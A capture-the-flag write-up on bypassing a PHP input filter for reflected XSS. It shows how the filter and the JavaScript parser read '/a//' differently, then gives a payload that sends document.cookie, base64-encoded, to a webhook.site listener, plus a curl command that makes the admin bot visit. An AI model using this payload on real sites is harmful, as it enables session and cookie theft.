How I Exploited an XSS vulnerability in a filtered input parameter using the
/a//bypass technique to steal the admin bot's FLAG cookie through a webhook exfiltration.
Components
- Web App (
index.php): Reflects user input inside a<script>tag with strict filtering
<?php
function check($input) {
$whitelist = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789;"/';
$result = '';
$len = strlen($input);
if(str_contains($input, '<')){
return false;
}
if(substr_count($input, '"') > 1){
return false;
}
for ($i = 0; $i < $len; $i++) {
$char = $input[$i];
if (strpos($whitelist, $char) !== false) {
$result .= $char;
}
else {
return false;
}
if ($char === '/' && isset($input[$i+1]) && $input[$i+1] === '/') {
if (strpos($result, '"') !== false) {
break;
}
$result .= '//';
$i++;
}
}
return $result;
}
function remove_all_whitespace(string $s): string {
return preg_replace('/[\p{Z}\p{C}\s]+/u', '', $s);
}
$name = remove_all_whitespace($_GET['name'] ?? "Guest");
if (!check($name)) {
$name = "Guest";
}
?>
<h3 id="welcome"></h3>
<script>
document.getElementById("welcome").innerText = "Welcome, <?=$name?>";
</script>- Admin Bot (
admin_bot.js): Bot that visits URLs with a FLAG cookie set
const express = require('express');
const puppeteer = require('puppeteer');
const app = express();
const PORT = 3000;
app.use(express.json());
app.post('/visit', async (req, res) => {
const { url } = req.body;
if (!url) return res.status(400).json({ error: 'Missing url' });
if (!(url.startsWith('https://web-czechoslovakia.hackena-labs.com/') || url.startsWith('http://web-czechoslovakia.hackena-labs.com/'))) {
return res.status(400).json({ error: 'Only http(s)://web-czechoslovakia.hackena-labs.com/ allowed' });
}
const browser = await puppeteer.launch({
headless: 'new',
args: ['--no-sandbox', '--disable-dev-shm-usage'],
});
const page = await browser.newPage();
await page.setCookie({
name: 'FLAG',
value: process.env.FLAG || 'FLAG_NOT_SET',
url: 'https://web-czechoslovakia.hackena-labs.com/',
path: '/',
secure: false
});
try {
await page.goto(url, { waitUntil: 'networkidle2', timeout: 60000 });
res.json({ success: true, message: 'Visited successfully' });
} catch (err) {
console.error('Error:', err);
res.status(500).json({ error: 'Automation failed', details: err.message });
} finally {
await browser.close();
}
});
app.listen(PORT,"0.0.0.0", () => {
console.log(`Server is running on http://localhost:${PORT}`);
});Let's start with understanding the code:
In index.php :
<h3 id="welcome"></h3>
<script>
document.getElementById("welcome").innerText = "Welcome, <?=$name?>";
</script>
The name parameter is directly embedded to the JavaScript context without proper validation or encoding.
In admin_bot.js:
await page.setCookie({
name: 'FLAG',
value: process.env.FLAG || 'FLAG_NOT_SET',
url: 'https://web-czechoslovakia.hackena-labs.com/',
});The bot visits any URL in the target domain with the FLAG cookie set.
Understanding the filters
The application implements TWO layers of filtering:
Filter Layer 1: Whitespace Removal
function remove_all_whitespace(string $s): string {
return preg_replace('/[\p{Z}\p{C}\s]+/u', '', $s);
}Removes ALL whitespace characters including:
- Spaces
- Tabs (\t)
- Newlines (\n, \r)
- Unicode whitespace (\p{Z})
- Control characters (\p{C})
Filter Layer 2: Character Whitelist & Logic
function check($input) {
$whitelist = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789;"/';
// Rule 1: No angle brackets
if(str_contains($input, '<')) return false;
// Rule 2: Maximum ONE double quote
if(substr_count($input, '"') > 1) return false;
// Rule 3: Only whitelisted characters allowed
for ($i = 0; $i < $len; $i++) {
$char = $input[$i];
if (strpos($whitelist, $char) === false) {
return false;
}
// Rule 4: Special handling for //
if ($char === '/' && isset($input[$i+1]) && $input[$i+1] === '/') {
if (strpos($result, '"') !== false) {
break; // Stop processing after // if quote exists
}
}
}
return $result;
}Summary of Constraints:
No < → Cannot use HTML tags | Blocks <script>, <img>, etc.
Max 1 " → Only one double quote, Limits string escaping options
Whitelist only → Letters, digits, ;, ", / Blocks parentheses, dots, special chars, etc.
No whitespace → All spaces removed, Must write JavaScript without spaces
// stops after" → Processing ends at // if " exists before it
KEY LOOPHOLE!
After understanding the filters and the code clearly, we have an XSS in the name parameter that we should exploit by bypassing the filters to get the FLAG cookie.
I started by examining the browser behavior by entering some blocked payloads and observing its impact
I tried many payloads that I thought it will skip the filters but it fail like:
?name="";alert(1);// and each time it gives Welcome, Guest :(

After a lot of trials I was stuck in the LOOPHOLE lool
We can return a step back and understand clearly the logic and the intended purpose of this filter (from the PHP's perspective): The developers wanted to allow "safe" JavaScript patterns like:
"; // This is just a comment, nothing dangerous hereSo If we see a "followed later by //, Everything after //is safe because it's commented out, So we can stop validating and allow it through
The assumption: In JavaScript, //starts a comment, so anything after it won't execute.
The core trick in the challenge (Parser Mismatch)
The filter and JavaScript parser interpret the same text differently. Here's why:
From the PHP perspective:
Input: ";/a//(malicious_code)//
"→ quote found
;, / , a, /→ Valid characters
/ → This is the second slash!, the server check if there was a " before and yes so the assumption → Everything after //is a comment (safe) so stop validation because it treats the comment as a harmless thing.
From the JavaScript perspective:
The same input: ";/a//(malicious_code)//
document.getElementById("welcome").innerText = "Welcome, ";/a//(malicious_code)//";" → String literal
; → Statement terminator
/a/ → Valid regex literal (harmless by itself).
// → Looks like the start of a comment, but only after the parser has already accepted /a/ as a complete expression.
(malicious_code) → Treated as a new expression, so it executes.
// → Starts a comment and makes the sentence looks familiar to a JS code
After all this, let's confirm our approach is true by trying to make an alert:
?name=";/a//(alert(1))// anddddd doneeeee

After I could make an alert which make me can execute any JS code with the same approach. Now I should build the full exploit to steel the flag.
After skipping the filter by ";/a// the following code is that we will steel the flag with. The intended path is to make the admin_bot visit the URL without malicious and then will send the flag back as a cookie.
We can receive the cookie in a listener like webhook, So the exploit will be:
(window.location='https://webhook.site/YOUR_ID/?c='.concat(btoa(document.cookie)))document.cookie— Retrieves all cookies (including FLAG)btoa(document.cookie)— Base64 encodes the cookie data.concat()— Appends the encoded data to our URLwindow.location=— Redirects to our webhook, exfiltrating the data
The final payload will be:
";/a//(window.location='https://webhook.site/YOUR_ID/?c='.concat(btoa(document.cookie)))//The Exploitation Steps:
- Encode the payload
https://web-czechoslovakia.hackena-labs.com/?name=<ENCODED_PAYLOAD>- Make the bot visit the URL by sending a request to visit endpoint:
curl -X POST https://web-czechoslovakia-bot.hackena-labs.com/visit \
-H "Content-Type: application/json" \
-d '{"url": "https://web-czechoslovakia.hackena-labs.com/?name=<ENCODED_PAYLOAD>"}'- Receive the flag in your webhook and decode it.
DONE FOR THE DAY — SEE YOU IN ANOTHER CHALLENGE ;)